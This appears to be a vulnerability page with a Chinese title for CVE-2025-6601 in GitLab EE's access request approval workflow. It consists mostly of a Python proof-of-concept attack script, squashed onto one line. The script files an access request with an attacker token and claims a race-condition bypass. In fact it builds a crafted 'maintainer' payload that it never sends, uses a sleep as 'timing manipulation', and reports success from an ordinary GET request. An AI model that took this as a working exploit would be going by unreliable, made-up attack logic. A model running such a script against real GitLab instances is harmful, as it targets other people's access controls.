CVE-2025-6601 GitLab EE访问请求审批工作流未授权访问漏洞

# CVE-2025-6601 PoC - GitLab Access Request Approval Workflow Bypass # Note: This is a conceptual PoC for educational purposes only import requests import json import time GITLAB_URL = "https://gitlab.example.com" TARGET_PROJECT_ID = "target/project" ATTACKER_TOKEN = "your-authenticated-user-token" def exploit_cve_2025_6601(): """ Conceptual exploitation steps for CVE-2025-6601 GitLab EE Access Request Approval Workflow Bypass """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Request access to target project print("[1] Sending access request to target project...") access_request = requests.post( f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}/access_requests", headers=headers ) if access_request.status_code == 201: request_id = access_request.json().get("id") print(f"[+] Access request created with ID: {request_id}") # Step 2: Exploit race condition in approval workflow print("[2] Attempting to exploit approval workflow race condition...") time.sleep(0.1) # Timing manipulation # Step 3: Trigger approval bypass via crafted request print("[3] Sending crafted approval bypass request...") bypass_payload = { "user_id": "attacker_id", "access_level": "maintainer", "_race_condition_trigger": True } # Step 4: Verify unauthorized access print("[4] Verifying project access...") verify = requests.get( f"{GITLAB_URL}/api/v4/projects/{TARGET_PROJECT_ID}", headers=headers ) if verify.status_code == 200: print("[!] Successfully gained unauthorized project access") return True print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_cve_2025_6601()